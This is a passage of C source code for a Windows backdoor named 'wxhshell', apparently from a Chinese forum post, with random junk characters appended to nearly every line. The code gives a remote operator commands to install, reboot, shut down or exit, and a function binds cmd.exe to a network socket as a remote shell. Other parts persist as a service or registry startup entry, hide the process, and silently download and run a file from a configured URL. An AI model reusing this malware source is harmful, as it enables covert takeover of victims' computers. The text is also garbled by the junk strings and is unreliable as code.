  } UWQtvQ f  
  else { ;[(= kOI  
i&'#+f4t  
    switch(cmd[0]) { zP_]  
  E]?)FH<oP  
  // 帮助 ppAmN0=G  
  case '?': { oR*ztM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iuiAK  
    break; w Y8@1>ah  
  } a?5WKO  
  // 安装 uQH%.A  
  case 'i': { }x*7l`1  
    if(Install()) Ct4LkmD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lV P9=  
    else 2>F\&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8';m)Jc  
    break; fv|]= e  
    } QB!jLlg(  
  // 卸载 `TUZZz  
  case 'r': { 'S =sj}X  
    if(Uninstall()) 1TKEm9j]u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $aB /+,  
    else P+[QI U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TqIAWbb&  
    break; "gFxfWIA  
    } s(Z(e %  
  // 显示 wxhshell 所在路径 hT?6sWa  
  case 'p': { a "R7JjH  
    char svExeFile[MAX_PATH]; %1Yz'AiW[  
    strcpy(svExeFile,"\n\r"); j7K5SS_]  
      strcat(svExeFile,ExeFile); k/%#>  
        send(wsh,svExeFile,strlen(svExeFile),0); 59V#FWe-  
    break; OkLz^R?d  
    } Hal7 MP  
  // 重启 }K2 /&kZ  
  case 'b': { !_qskDc-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w#oGX  
    if(Boot(REBOOT)) :*^:T_U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vzpt(_><  
    else { 59.$ULQVMY  
    closesocket(wsh); k!T|)\nc+  
    ExitThread(0); q(,cYu  
    } !{;[xXK4M  
    break; vB^uxdt|m  
    } ]fj-`==  
  // 关机 ^V[/(Lq  
  case 'd': { )CJES!! W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M&r2:Whk  
    if(Boot(SHUTDOWN)) 1Q]Rd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |+98h&U~  
    else { Z.quh;  
    closesocket(wsh); _1ew(x2J  
    ExitThread(0); |pJC:woq  
    } g+/0DO_F3  
    break; j.DHqHx  
    } $*k)|4  
  // 获取shell ^ oYPyk`9  
  case 's': { N#4N?BBP"  
    CmdShell(wsh); ]nQ+nH  
    closesocket(wsh); X/l;s  
    ExitThread(0); o+NMA (  
    break; mb&lCd ^-  
  } wqUQ"d  
  // 退出 k0L] R5W  
  case 'x': { %Uy%kN_&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y(_KizBY  
    CloseIt(wsh); P|N2R5(>T  
    break; yMb|I~k  
    } e&0K;yU  
  // 离开 ?OE#q$g  
  case 'q': { um7o!yg,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r4u z} jl{  
    closesocket(wsh); X1oGp+&  
    WSACleanup(); Oa! m  
    exit(1); I.1D*!tz  
    break; Y6A;AmM8  
        } t0q_>T-kt  
  } OiF{3ae(  
  } iwU[6A  
=Q-k'=6\  
  // 提示信息 );Z]SGd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2:Q(Gl`<l  
}  ;\qXbL7  
  } P>(P2~$Y"  
*:g_'K"+  
  return; gyev5txn  
} Z, T#,  
rFey4zzz  
// shell模块句柄 FbAW_Am(  
int CmdShell(SOCKET sock) eZH~je{1  
{ D^+?|Y@N  
STARTUPINFO si; Ow@v"L;jF!  
ZeroMemory(&si,sizeof(si)); EiWd+v,QJQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ KB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )T1iN(Z  
PROCESS_INFORMATION ProcessInfo; }^Gd4[(,g  
char cmdline[]="cmd"; 8YX)0i'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3-C\2  
  return 0; Ja|{1&J.  
} px=]bALU  
n *<v]1  
// 自身启动模式 .po>qb6  
int StartFromService(void) o_f-GO  
{ e\F} q)_  
typedef struct \K7t'20  
{ F}36IM9/:  
  DWORD ExitStatus; o5!f#Y  
  DWORD PebBaseAddress; h i|!  
  DWORD AffinityMask; c7K!cfO:{N  
  DWORD BasePriority; E"qFXA>  
  ULONG UniqueProcessId; <uci9-eC  
  ULONG InheritedFromUniqueProcessId; &w85[zs  
}   PROCESS_BASIC_INFORMATION; D//=m=  
!:3.D,  
PROCNTQSIP NtQueryInformationProcess; &eQJfc\a  
O("Uq../3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Q* 'r& n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gmP9j)V6  
^:KO_{3E  
  HANDLE             hProcess; ab.tH$:<  
  PROCESS_BASIC_INFORMATION pbi; c?E{fD"Fc3  
rjk( X|R*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X(Qu{HhI  
  if(NULL == hInst ) return 0; 63 2bN=>  
z wk.bf>m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y3Oz'%B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D#Kuo$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^zr^ N?a  
`VT>M@i/  
  if (!NtQueryInformationProcess) return 0; tU@zhGb  
"35A/V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]*N1t>fb  
  if(!hProcess) return 0; Udgqkl  
}^%xvmQ\]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QJGKQ2^ n  
|(%zb\#9  
  CloseHandle(hProcess); 5l{Ts04k%  
Kct@87z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !wE}(0BTx  
if(hProcess==NULL) return 0; K pHw-6"  
BPv>$ m+.  
HMODULE hMod; cn`iX(ZgR  
char procName[255]; !%)]56(  
unsigned long cbNeeded; `@Oa lg  
+ulagE|7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !*{q^IO9v&  
Vzg=@A#  
  CloseHandle(hProcess); }m- "8\_D  
I G ~`i I  
if(strstr(procName,"services")) return 1; // 以服务启动 nZk +  
;9a 6pz<  
  return 0; // 注册表启动 `]i []|  
} %*}Y6tl'|  
vB0RKk}d5  
// 主模块 L]%l51U  
int StartWxhshell(LPSTR lpCmdLine) kmPYx)o  
{ uLR<FpM  
  SOCKET wsl; vB'>[jvA|  
BOOL val=TRUE; 6%Mt  
  int port=0; 12UD19!  
  struct sockaddr_in door; m Y,|J\w@  
K.~q+IYP[  
  if(wscfg.ws_autoins) Install(); ?-)I+EAnE  
Na{Y}0=^y  
port=atoi(lpCmdLine); L2UsqVU  
>ut" OL9J  
if(port<=0) port=wscfg.ws_port; }baR5v  
UL$}{2N,_  
  WSADATA data; ?)D^~/ A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b KtD"JG\  
S \i@s_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TrS8h^C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LeOP;#  
  door.sin_family = AF_INET; zp}eLm:=d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }H> ^o9  
  door.sin_port = htons(port); >l']H*&B<  
80OtO#1y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I:98 $r$  
closesocket(wsl); 64>krmVIe  
return 1; S$,'Q^~K  
} +0Q,vK#j^  
Lh.b 5Q|  
  if(listen(wsl,2) == INVALID_SOCKET) { zi9[)YqxPH  
closesocket(wsl); g4p  
return 1; ] }|byo  
} 6w8" >~)Z  
  Wxhshell(wsl); Yr.sm!xA  
  WSACleanup(); ^TY ;Zp  
"Jq8?FoT  
return 0; B;>{0 s  
K<`osdp=&  
} `F YjQ e"p  
!9Z r;K~\  
// 以NT服务方式启动 DyJ.BQdk)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AlE8Xu9UB  
{ -a,-J]d0+  
DWORD   status = 0; <EO$]>;0  
  DWORD   specificError = 0xfffffff; dO> VwP  
'7^M{y/dU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RD7^&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sUJ%x#u}Fk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `.jzuX  
  serviceStatus.dwWin32ExitCode     = 0; b//B8^Eong  
  serviceStatus.dwServiceSpecificExitCode = 0; x+8_4>,>Y7  
  serviceStatus.dwCheckPoint       = 0; afBE{  
  serviceStatus.dwWaitHint       = 0; Ysq'2  
{9Y+.46S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?'86d_8  
  if (hServiceStatusHandle==0) return; 3<?   
X|f7K  
status = GetLastError(); ~c^>54  
  if (status!=NO_ERROR) e}/Lk5q!  
{ &s Pq<lo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z>c3  
    serviceStatus.dwCheckPoint       = 0; gxz-R?.  
    serviceStatus.dwWaitHint       = 0; m7a#qs; ,  
    serviceStatus.dwWin32ExitCode     = status; hI%bjuq  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^bg2[FV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f"7O  "6  
    return; 3~S'LxV  
  } IN8>ZV`j)  
{'?)FX*W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0.T4{JS#  
  serviceStatus.dwCheckPoint       = 0; F'jWV5"*  
  serviceStatus.dwWaitHint       = 0; ]H-S, lmV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]D[DU]K  
} gb ^?l~SS  
MFTk qbc  
// 处理NT服务事件,比如:启动、停止 ;<yd^Xs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'o|30LzYgQ  
{ k.("3R6v:  
switch(fdwControl) \$0F-=w`8  
{ aRG2@5  
case SERVICE_CONTROL_STOP: L pR''`2BT  
  serviceStatus.dwWin32ExitCode = 0; p&+;w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5^']+5_vb  
  serviceStatus.dwCheckPoint   = 0; fVb-$  
  serviceStatus.dwWaitHint     = 0; eSWL rryY  
  { /|#&px)G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7+X:LA~U  
  } "k]CW\H6z  
  return; G9g1hie@%  
case SERVICE_CONTROL_PAUSE: O"Ku1t!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; il|1a8M2~  
  break; ~P~  
case SERVICE_CONTROL_CONTINUE: | N0Z-|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q0f3="  
  break; ^O^l(e!3  
case SERVICE_CONTROL_INTERROGATE: lY|Jr{+Ln  
  break; U2uF&6v  
}; }*.0N;;C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *K> l*l(f]  
} =]:>"_jN  
fP.F`V_Y  
// 标准应用程序主函数 XGP6L0j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'cY` w  
{ Y3Vlp/"rB"  
$)3%U?AP  
// 获取操作系统版本 O@p]KSfk  
OsIsNt=GetOsVer(); 311LC cRp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :Ad &$e g+  
t#q<n:WeYU  
  // 从命令行安装 sR/b$j>i3  
  if(strpbrk(lpCmdLine,"iI")) Install(); O'Js}  
W6On9 3sa  
  // 下载执行文件 9Xx's%U  
if(wscfg.ws_downexe) { m(pE5B(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EwOV;>@T?  
  WinExec(wscfg.ws_filenam,SW_HIDE); V(Ub!n:j  
} K|dso]b/  
zZVfj:i8  
if(!OsIsNt) { z dO#0t N  
// 如果时win9x,隐藏进程并且设置为注册表启动 PRz/inru-  
HideProc(); _YcA+3ZL  
StartWxhshell(lpCmdLine); f=)2f =  
} (SKVuR%Jj  
else aN"DkUYZM  
  if(StartFromService()) /yM:| `tT  
  // 以服务方式启动 Z!hafhcX  
  StartServiceCtrlDispatcher(DispatchTable); a4irokJv#  
else T49zcJf;  
  // 普通方式启动 g!-,]  
  StartWxhshell(lpCmdLine); 4;2< ^[M  
o6V}$wT3J  
return 0; H^YSJ 6  
}
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只看该作者 1 发表于: 2006-10-10
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